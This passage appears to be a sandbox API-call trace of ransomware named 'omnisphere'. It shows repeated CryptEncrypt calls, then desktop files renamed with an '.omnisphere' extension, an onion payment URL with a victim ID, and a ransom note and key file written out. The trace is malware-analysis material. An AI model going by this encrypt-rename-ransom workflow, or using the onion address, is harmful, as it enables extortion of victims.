pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.240] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.240] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.240] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.240] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.240] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.240] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.240] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.240] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.240] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.241] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.241] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.241] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.241] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.241] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.241] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.241] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.241] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.241] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.241] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.241] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.241] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.241] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.241] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.241] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.241] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.241] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.241] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.241] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.241] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.241] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.241] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.242] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.243] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.245] CryptDestroyKey (hKey=0x16396e8) returned 1 [0163.245] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0163.245] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xc61e, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.245] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0163.246] GetProcessHeap () returned 0x1600000 [0163.246] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x264) returned 0x164ebe8 [0163.246] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\9zbk-k.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\9zbk-k.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\9zbk-k.m4a.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\9zbk-k.m4a.omnisphere")) returned 1 [0163.247] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\9zbk-k.m4a.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\9zbk-k.m4a.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\9zbk-k.m4a.omnisphere.id" [0163.247] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9zbk-k.m4a.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\9zbk-k.m4a.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0163.249] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0163.250] CloseHandle (hObject=0x3bc) returned 1 [0163.251] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0163.252] CloseHandle (hObject=0x380) returned 1 [0163.252] SetEndOfFile (hFile=0x39c) returned 1 [0163.253] FlushFileBuffers (hFile=0x39c) returned 1 [0163.256] CloseHandle (hObject=0x39c) returned 1 [0163.256] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\9zbk-k.m4a" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0163.256] GetProcessHeap () returned 0x1600000 [0163.257] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x164ee58 [0163.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0163.257] GetProcessHeap () returned 0x1600000 [0163.257] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x17334f0 [0163.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x17334f0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0163.257] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0163.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0163.257] GetProcessHeap () returned 0x1600000 [0163.257] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f2a0 [0163.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f2a0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0163.257] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0163.257] GetProcessHeap () returned 0x1600000 [0163.257] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x164cf98 [0163.257] PathCombineW (in: pszDest=0x164cf98, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0163.257] GetProcessHeap () returned 0x1600000 [0163.257] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x176a728 [0163.257] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.257] WriteFile (in: hFile=0x39c, lpBuffer=0x176a728*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x176a728*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0163.258] CloseHandle (hObject=0x39c) returned 1 [0163.258] GetProcessHeap () returned 0x1600000 [0163.258] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164ee58 | out: hHeap=0x1600000) returned 1 [0163.258] GetProcessHeap () returned 0x1600000 [0163.258] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a3b0 [0163.258] PathCombineW (in: pszDest=0x163a3b0, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0163.258] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.259] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0163.259] CloseHandle (hObject=0x39c) returned 1 [0163.259] GetProcessHeap () returned 0x1600000 [0163.259] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a3b0 | out: hHeap=0x1600000) returned 1 [0163.259] GetProcessHeap () returned 0x1600000 [0163.259] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163d538 | out: hHeap=0x1600000) returned 1 [0163.259] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20f17a90, ftCreationTime.dwHighDateTime=0x1d4d447, ftLastAccessTime.dwLowDateTime=0x3c32e380, ftLastAccessTime.dwHighDateTime=0x1d4d194, ftLastWriteTime.dwLowDateTime=0x3c32e380, ftLastWriteTime.dwHighDateTime=0x1d4d194, nFileSizeHigh=0x0, nFileSizeLow=0x163fb, dwReserved0=0x0, dwReserved1=0xf5, cFileName="aPnyZYbrX3YqN-JqGl2Q.png", cAlternateFileName="APNYZY~1.PNG")) returned 1 [0163.259] GetProcessHeap () returned 0x1600000 [0163.259] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x70) returned 0x164d010 [0163.260] PathCombineW (in: pszDest=0x164d010, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="aPnyZYbrX3YqN-JqGl2Q.png" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\aPnyZYbrX3YqN-JqGl2Q.png") returned="C:\\Users\\FD1HVy\\Desktop\\aPnyZYbrX3YqN-JqGl2Q.png" [0163.260] StrStrW (lpFirst=".omnisphere", lpSrch=".png") returned 0x0 [0163.260] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\aPnyZYbrX3YqN-JqGl2Q.png" (normalized: "c:\\users\\fd1hvy\\desktop\\apnyzybrx3yqn-jqgl2q.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.260] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=91131) returned 1 [0163.260] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x15ed7, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 